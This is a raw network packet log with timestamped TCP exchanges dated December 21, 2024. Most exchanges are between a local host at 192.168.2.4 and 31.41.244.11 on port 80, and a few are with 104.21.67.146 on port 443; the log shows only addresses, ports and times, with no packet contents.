                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.535130978 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.536189079 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.536241055 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.536315918 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.536365032 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.537390947 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.537445068 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.537482977 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.537534952 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.538557053 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.538609028 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.538613081 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.538662910 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.539752960 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.539803982 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.539877892 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.539930105 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.540952921 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.541002035 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.541075945 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.541126013 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.542155027 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.542207003 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.542287111 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.542335987 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.543378115 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.543473959 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.543523073 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.543574095 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.544598103 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.544651031 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.544739008 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.544790030 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.545793056 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.545841932 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.545914888 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.545962095 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.547033072 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.547089100 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.547152996 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.547204971 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.548249960 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.548302889 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.548336029 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.548383951 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.549402952 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.549468040 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.549513102 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.549618959 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.550601959 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.550651073 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.550717115 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.550767899 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.551829100 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.551881075 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.551922083 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.551975012 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.553061962 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.553098917 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.553112984 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.553148985 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.554258108 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.554352045 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.554356098 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.554408073 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.555397034 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.555448055 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.555514097 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.555566072 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.556627035 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.556679010 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.556745052 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.556798935 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.557857990 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.557910919 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.557965994 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.558013916 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.559014082 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.559065104 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.559144020 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.559195995 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.560247898 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.560301065 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.560368061 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.560419083 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.561429977 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.561481953 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.561640978 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.561692953 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.562649965 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.562701941 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.562746048 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.562808037 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.563796997 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.563847065 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.584533930 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.584631920 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.585843086 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.585860014 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.586189032 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.590646029 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.590769053 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.590817928 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.590941906 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.590941906 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.590962887 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.631373882 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.692832947 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.692943096 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.693068027 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.693101883 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.693119049 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.693140984 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.693156958 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.693177938 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.694309950 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.694363117 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.694439888 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.694489956 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.695220947 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.695270061 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.695274115 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.695323944 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.696434975 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.696485996 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.696541071 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.696592093 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.697658062 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.697706938 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.697796106 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.697848082 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.698818922 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.698864937 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.698939085 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.698990107 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.700032949 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.700083017 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.700149059 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.700200081 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.701184034 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.701246023 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.701327085 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.701380014 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.702452898 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.702486992 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.702503920 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.702534914 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.703610897 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.703718901 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.703720093 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.703766108 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.704912901 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.705038071 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.705049038 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.705085993 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.706178904 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.706213951 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.706229925 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.706259966 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.707218885 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.707268000 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.707484007 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.707535028 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.708597898 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.708650112 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.708729029 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.708781004 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.709582090 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.709631920 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.709698915 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.709748030 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.710808039 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.710858107 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.710867882 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.710916996 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.711965084 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.712013006 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.712054014 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.712105036 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.713174105 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.713227987 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.713293076 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.713341951 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.714373112 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.714492083 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.714514017 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.714565039 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.715609074 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.715656042 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.715707064 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.715755939 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.716798067 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.716851950 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.716941118 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.716990948 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.717976093 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.718024969 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.718089104 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.718137980 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.719136953 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.719188929 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.719228029 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.719275951 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.720438957 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.720489025 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.720710039 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.720757008 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.721527100 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.721580029 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.721643925 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.721694946 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.722815990 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.722865105 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.722929955 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.722979069 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.723928928 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.723980904 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.724015951 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.724066973 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.725183964 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.725233078 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.725281954 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.725330114 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.726304054 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.726351976 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.726418018 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.726465940 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.727504015 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.727552891 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.727629900 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.727678061 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.728761911 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.728812933 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.728878021 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.728929043 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.729902983 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.729954004 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.730029106 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.730081081 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.731079102 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.731128931 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.731134892 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.731183052 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.732405901 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.732460976 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.732464075 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.732505083 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.733530045 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.733582020 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.733586073 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.733634949 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.734689951 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.734744072 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.734817982 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.734869003 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.735933065 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.735985041 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.736053944 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.736104012 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.737199068 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.737250090 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:38.737348080 CET804982931.41.244.11192.168.2.4
